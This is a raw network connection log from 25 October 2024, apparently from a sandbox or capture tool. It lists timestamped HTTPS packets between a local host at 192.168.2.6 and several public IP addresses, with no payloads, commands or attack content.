Oct 25, 2024 10:19:22.243356943 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.243428946 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.243895054 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.243911028 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.266204119 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.266252041 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.266273975 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.266288042 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.266324997 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.266359091 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.266607046 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.266659975 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.266671896 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.266722918 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.266767025 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.266776085 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.267539024 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.267605066 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.267647028 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.267677069 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.267688036 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.267730951 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.268408060 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.268471956 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.268482924 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.268529892 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.269140959 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.269196033 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.269365072 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.269412994 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.270018101 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.270096064 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.270905018 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.270960093 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.271630049 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.271697044 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.272514105 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.272587061 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.273277998 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.273343086 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.274108887 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.274168968 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.309959888 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.310012102 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.310014963 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.310030937 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.310060024 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.310074091 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.384092093 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.384200096 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.384265900 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.384319067 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.384378910 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.384429932 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.384484053 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.384545088 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.384586096 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.384661913 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.385134935 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.385190010 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.385236025 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.385293961 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.385324001 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.385379076 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.385746956 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.385804892 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.385937929 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.385987043 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.386039019 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.386102915 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.386579990 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.386651993 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.386687994 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.386737108 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.386744976 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.386861086 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.386909962 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.387536049 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.387546062 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.704651117 CEST	50020	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.704729080 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.704811096 CEST	50020	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.707047939 CEST	50020	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.707077026 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.906776905 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.910017967 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.910038948 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.911104918 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.911181927 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.911192894 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.911751986 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.911751986 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.911808968 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.912599087 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.924655914 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.924691916 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.925359964 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.926246881 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.926258087 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.933630943 CEST	50022	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.933667898 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.933734894 CEST	50022	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.934693098 CEST	50022	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.934709072 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.955326080 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.958848000 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:22.960618019 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:22.960628986 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:22.962172031 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:22.962230921 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:22.963614941 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:22.963702917 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:22.963776112 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:22.963783979 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:22.987889051 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.988534927 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.988560915 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.989538908 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.989613056 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.989622116 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.989886999 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.990156889 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.990315914 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.990322113 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.990356922 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.990717888 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.990726948 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.054109097 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.054161072 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.054220915 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.054230928 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.054276943 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.055310011 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.055399895 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.055506945 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.064400911 CEST	50023	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:23.064434052 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.064652920 CEST	50023	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:23.066011906 CEST	50023	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:23.066023111 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.083832026 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.083842993 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.138010979 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.138041973 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.138113022 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.138143063 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.138170004 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.139518976 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.139596939 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.171361923 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.171483994 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.181818008 CEST	50017	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.181843996 CEST	443	50017	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.194061041 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.194118977 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.194161892 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.194205046 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.194226980 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.194257975 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.194283009 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.209306955 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.209357977 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.209409952 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.209425926 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.209458113 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.209549904 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.311189890 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.311223984 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.311283112 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.311343908 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.311383009 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.311739922 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.324805975 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.325525999 CEST	50020	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:23.325541019 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.325839043 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.326927900 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.326967001 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.327012062 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.327019930 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.327035904 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.327037096 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.327084064 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.327090979 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.327127934 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.327168941 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.327574015 CEST	50020	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:23.327651978 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.328246117 CEST	50020	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:23.328866005 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:23.328875065 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:23.353543997 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:23.353570938 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:23.353916883 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:23.354237080 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:23.354258060 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:23.371361017 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.385615110 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.385663033 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.385819912 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.386538982 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.386558056 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.470484018 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.470546007 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.470616102 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.470674038 CEST	50020	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:23.471118927 CEST	50020	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:23.471139908 CEST	443	50020	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:23.660619020 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.681559086 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.686129093 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.697302103 CEST	50022	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.697323084 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.697439909 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.697468996 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.697536945 CEST	50023	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:23.697551966 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.698565960 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.698796988 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.698812962 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.699402094 CEST	50022	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.699589014 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.699790955 CEST	50023	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:23.699970007 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.700156927 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.700345039 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.700407028 CEST	50022	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.700736046 CEST	50023	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:23.700788021 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.700830936 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.700851917 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.743359089 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.747328043 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.836268902 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.836431026 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.836524963 CEST	50023	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:23.843513012 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.844978094 CEST	50023	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:23.844997883 CEST	443	50023	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:23.845036030 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.845135927 CEST	50022	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.847060919 CEST	50022	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.847074032 CEST	443	50022	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.849380970 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.849459887 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.849481106 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.850372076 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.851102114 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.851248026 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:23.851589918 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.854223967 CEST	50021	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:23.854239941 CEST	443	50021	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.086380005 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.119873047 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.119898081 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.121047020 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.121119022 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.122828007 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.122912884 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.124419928 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.124435902 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.127266884 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.194241047 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:24.282331944 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.330243111 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.330313921 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.330339909 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.330382109 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.330401897 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.330420971 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.330488920 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.330490112 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.330490112 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.330490112 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.330530882 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.330583096 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.330583096 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.372894049 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.372927904 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.372978926 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.372993946 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.373039007 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.373047113 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.373085022 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.373135090 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.447604895 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.447679043 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.447712898 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.447734118 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.447762012 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.447786093 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.455153942 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:24.455180883 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.456506968 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.458956957 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:24.459167957 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.461482048 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:24.461549997 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:24.461683989 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.461755037 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:24.461816072 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.461883068 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:24.461924076 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.489608049 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.489658117 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.489691019 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.489713907 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.489751101 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.489757061 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.489782095 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.489794970 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.489873886 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.489887953 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.489928961 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.489984035 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.490829945 CEST	50031	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:24.490850925 CEST	443	50031	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:24.611340046 CEST	50036	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:24.611387014 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:24.611531973 CEST	50036	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:24.612127066 CEST	50036	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:24.612144947 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:24.809989929 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.811747074 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:24.813321114 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:24.813321114 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.007361889 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.007447004 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.007517099 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.007703066 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.007733107 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.008354902 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.008404970 CEST	443	50043	52.108.8.12	192.168.2.6
